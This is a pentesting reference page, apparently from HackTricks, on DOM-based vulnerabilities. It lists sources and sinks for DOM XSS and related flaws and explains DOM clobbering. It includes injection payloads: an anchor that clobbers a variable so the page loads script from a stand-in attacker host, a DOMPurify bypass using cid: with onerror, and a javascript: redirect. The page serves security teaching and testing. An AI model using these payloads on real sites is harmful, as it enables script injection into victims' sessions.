HackTricks
Searchโ€ฆ
๐Ÿ‘ฝ
Network Services Pentesting
๐Ÿ•ธ
Pentesting Web
DOM XSS
Support HackTricks and get benefits!

DOM vulnerabilities

Sources
A source is a JavaScript property that accepts data that is potentially attacker-controlled. An example of a source is the location.search property because it reads input from the query string, which is relatively simple for an attacker to control. Ultimately, any property that can be controlled by the attacker is a potential source. This includes the referring URL (exposed by the document.referrer string), the user's cookies (exposed by the document.cookie string), and web messages.
Sinks
A sink is a potentially dangerous JavaScript function or DOM object that can cause undesirable effects if attacker-controlled data is passed to it. For example, the eval() function is a sink because it processes the argument that is passed to it as JavaScript. An example of an HTML sink is document.body.innerHTML because it potentially allows an attacker to inject malicious HTML and execute arbitrary JavaScript.
Fundamentally, DOM-based vulnerabilities arise when a website passes data from a source to a sink, which then handles the data in an unsafe way in the context of the client's session.
You can find a more updated list of sources and sinks in https://github.com/wisec/domxsswiki/wikiโ€‹
Common sources:
1
document.URL
2
document.documentURI
3
document.URLUnencoded
4
document.baseURI
5
location
6
document.cookie
7
document.referrer
8
window.name
9
history.pushState
10
history.replaceState
11
localStorage
12
sessionStorage
13
IndexedDB (mozIndexedDB, webkitIndexedDB, msIndexedDB)
14
Database
Copied!
Common Sinks:
โ€‹Open Redirectโ€‹
โ€‹Javascript Injectionโ€‹
โ€‹DOM-data manipulationโ€‹
jQuery
location
eval()
scriptElement.src
add()
location.host
Function() constructor
scriptElement.text
after()
location.hostname
setTimeout()
scriptElement.textContent
append()
location.href
setInterval()
scriptElement.innerText
animate()
location.pathname
setImmediate()
someDOMElement.setAttribute()
insertAfter()
location.search
execCommand()
someDOMElement.search
insertBefore()
location.protocol
execScript()
someDOMElement.text
before()
location.assign()
msSetImmediate()
someDOMElement.textContent
html()
location.replace()
range.createContextualFragment()
someDOMElement.innerText
prepend()
open()
crypto.generateCRMFRequest()
someDOMElement.outerText
replaceAll()
domElem.srcdoc
someDOMElement.value
replaceWith()
XMLHttpRequest.open()
FileReader.readAsArrayBuffer()
someDOMElement.name
wrap()
XMLHttpRequest.send()
FileReader.readAsBinaryString()
someDOMElement.target
wrapInner()
jQuery.ajax()
FileReader.readAsDataURL()
someDOMElement.method
wrapAll()
$.ajax()
FileReader.readAsText()
someDOMElement.type
has()
FileReader.readAsFile()
someDOMElement.backgroundImage
constructor()
XMLHttpRequest.setRequestHeader()
FileReader.root.getFile()
someDOMElement.cssText
init()
XMLHttpRequest.open()
FileReader.root.getFile()
someDOMElement.codebase
index()
XMLHttpRequest.send()
โ€‹Link manipulationโ€‹
someDOMElement.innerHTML
jQuery.parseHTML()
The innerHTML sink doesn't accept script elements on any modern browser, nor will svg onload events fire. This means you will need to use alternative elements like img or iframe.
This kind of XSS is probably the hardest to find, as you need to look inside the JS code, see if it's using any object whose value you control, and in that case, see if there is any way to abuse it to execute arbitrary JS.

Tools to find them

Examples

Open Redirect

How

DOM-based open-redirection vulnerabilities arise when a script writes attacker-controllable data into a sink that can trigger cross-domain navigation.
Remember that if you can start the URL were the victim is going to be redirected, you could execute arbitrary code like: javascript:alert(1)

Sinks

1
location
2
location.host
3
location.hostname
4
location.href
5
location.pathname
6
location.search
7
location.protocol
8
location.assign()
9
location.replace()
10
open()
11
domElem.srcdoc
12
XMLHttpRequest.open()
13
XMLHttpRequest.send()
14
jQuery.ajax()
15
$.ajax()
Copied!

How

DOM-based cookie-manipulation vulnerabilities arise when a script writes attacker-controllable data into the value of a cookie. This could be abuse to make the page behaves on unexpected manner (if the cookie is used in the web) or to perform a session fixation attack (if the cookie is used to track the user's session).

Sinks

1
document.cookie
Copied!

JavaScript Injection

How

DOM-based JavaScript-injection vulnerabilities arise when a script executes attacker-controllable data as JavaScript.

Sinks

1
eval()
2
Function() constructor
3
setTimeout()
4
setInterval()
5
setImmediate()
6
execCommand()
7
execScript()
8
msSetImmediate()
9
range.createContextualFragment()
10
crypto.generateCRMFRequest()
Copied!

Document-domain manipulation

How

Document-domain manipulation vulnerabilities arise when a script uses attacker-controllable data to set the document.domain property.
The document.domain property is used by browsers in their enforcement of the same origin policy. If two pages from different origins explicitly set the same document.domain value, then those two pages can interact in unrestricted ways. Browsers generally enforce some restrictions on the values that can be assigned to document.domain, and may prevent the use of completely different values than the actual origin of the page. But this doesn't occur always and they usually allow to use child or parent domains.

Sinks

1
document.domain
Copied!

WebSocket-URL poisoning

How

WebSocket-URL poisoning occurs when a script uses controllable data as the target URL of a WebSocket connection.

Sinks

The WebSocket constructor can lead to WebSocket-URL poisoning vulnerabilities.

How

DOM-based link-manipulation vulnerabilities arise when a script writes attacker-controllable data to a navigation target within the current page, such as a clickable link or the submission URL of a form.

Sinks

1
someDOMElement.href
2
someDOMElement.src
3
someDOMElement.action
Copied!

Ajax request manipulation

How

Ajax request manipulation vulnerabilities arise when a script writes attacker-controllable data into the an Ajax request that is issued using an XmlHttpRequest object.

Sinks

1
XMLHttpRequest.setRequestHeader()
2
XMLHttpRequest.open()
3
XMLHttpRequest.send()
4
jQuery.globalEval()
5
$.globalEval()
Copied!

Local file-path manipulation

How

Local file-path manipulation vulnerabilities arise when a script passes attacker-controllable data to a file-handling API as the filename parameter. An attacker may be able to use this vulnerability to construct a URL that, if visited by another user, will cause the user's browser to open/write an arbitrary local file.

Sinks

1
FileReader.readAsArrayBuffer()
2
FileReader.readAsBinaryString()
3
FileReader.readAsDataURL()
4
FileReader.readAsText()
5
FileReader.readAsFile()
6
FileReader.root.getFile()
7
FileReader.root.getFile()
Copied!

Client-Side SQl injection

How

Client-side SQL-injection vulnerabilities arise when a script incorporates attacker-controllable data into a client-side SQL query in an unsafe way.

Sinks

1
executeSql()
Copied!

HTML5-storage manipulation

How

HTML5-storage manipulation vulnerabilities arise when a script stores attacker-controllable data in the HTML5 storage of the web browser (either localStorage or sessionStorage). This behavior does not in itself constitute a security vulnerability. However, if the application later reads data back from storage and processes it in an unsafe way, an attacker may be able to leverage the storage mechanism to deliver other DOM-based attacks, such as cross-site scripting and JavaScript injection.

Sinks

1
sessionStorage.setItem()
2
localStorage.setItem()
Copied!

XPath injection

How

DOM-based XPath-injection vulnerabilities arise when a script incorporates attacker-controllable data into an XPath query.

Sinks

1
document.evaluate()
2
someDOMElement.evaluate()
Copied!

Client-side JSON injection

How

DOM-based JSON-injection vulnerabilities arise when a script incorporates attacker-controllable data into a string that is parsed as a JSON data structure and then processed by the application.

Sinks

1
JSON.parse()
2
jQuery.parseJSON()
3
$.parseJSON()
Copied!

Web-message manipulation

How

Web-message vulnerabilities arise when a script sends attacker-controllable data as a web message to another document within the browser. Example of vulnerable Web-message manipulation in https://portswigger.net/web-security/dom-based/controlling-the-web-message-sourceโ€‹

Sinks

The postMessage() method for sending web messages can lead to vulnerabilities if the event listener for receiving messages handles the incoming data in an unsafe way.

DOM-data manipulation

How

DOM-data manipulation vulnerabilities arise when a script writes attacker-controllable data to a field within the DOM that is used within the visible UI or client-side logic. An attacker may be able to use this vulnerability to construct a URL that, if visited by another user, will modify the appearance or behaviour of the client-side UI.

Sinks

1
scriptElement.src
2
scriptElement.text
3
scriptElement.textContent
4
scriptElement.innerText
5
someDOMElement.setAttribute()
6
someDOMElement.search
7
someDOMElement.text
8
someDOMElement.textContent
9
someDOMElement.innerText
10
someDOMElement.outerText
11
someDOMElement.value
12
someDOMElement.name
13
someDOMElement.target
14
someDOMElement.method
15
someDOMElement.type
16
someDOMElement.backgroundImage
17
someDOMElement.cssText
18
someDOMElement.codebase
19
document.title
20
document.implementation.createHTMLDocument()
21
history.pushState()
22
history.replaceState()
Copied!

Denial of Service

How

DOM-based denial-of-service vulnerabilities arise when a script passes attacker-controllable data in an unsafe way to a problematic platform API, such as an API whose invocation can cause the user's computer to consume excessive amounts of CPU or disk space. This may result in side effects if the browser restricts the functionality of the website, for example, by rejecting attempts to store data in localStorage or killing busy scripts.

Sinks

1
requestFileSystem()
2
RegExp()
Copied!

DOM Clobbering

A common pattern used by JavaScript developers is:
var someObject = window.someObject || {};
If you can control some of the HTML on the page, you can clobber the someObject reference with a DOM node, such as an anchor. Consider the following code:
1
<script>
2
window.onload = function(){
3
let someObject = window.someObject || {};
4
let script = document.createElement('script');
5
script.src = someObject.url;
6
document.body.appendChild(script);
7
};
8
</script>
Copied!
To exploit this vulnerable code, you could inject the following HTML to clobber the someObject reference with an anchor element:
<a id=someObject><a id=someObject name=url href=//malicious-website.com/malicious.js>
Injecting that data window.someObject.url is going to be href=//malicious-website.com/malicious.js
Trick: DOMPurify allows you to use the cid: protocol, which does not URL-encode double-quotes. This means you can inject an encoded double-quote that will be decoded at runtime. Therefore, injecting something like <a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//"> will make the HTML encoded &quot; to be decoded on runtime and escape from the attribute value to create the onerror event.
Another common technique consists on using form element. Some client-side libraries will go through the attributes of the created form element to sanitised it. But, if you create an input inside the form with id=attributes , you will clobber the attributes property and the sanitizer won't be able to go through the real attributes.

Clobbering document object

According to the documentation it's possible to overwrite attributes of the document object using DOM Clobbering:
The Document interface supports named properties. The supported property names of a Document object document at any moment consist of the following, in tree order according to the element that contributed them, ignoring later duplicates, and with values from id attributes coming before values from name attributes when the same element contributes both:
- The value of the name content attribute for all exposed embed, form, iframe, img, and exposed object elements that have a non-empty name content attribute and are in a document tree with document as their root; - The value of the id content attribute for all exposed object elements that have a non-empty id content attribute and are in a document tree with document as their root; - The value of the id content attribute for all img elements that have both a non-empty id content attribute and a non-empty name content attribute, and are in a document tree with document as their root.
Using this technique you can overwrite commonly used values such as document.cookie, document.body, document.children, and even methods in the Document interface like document.querySelector.
1
document.write("<img name=cookie />")
2
โ€‹
3
document.cookie
4
<img name="cookie">
5
โ€‹
6
typeof(document.cookie)
7
'object'
Copied!
Support HackTricks and get benefits!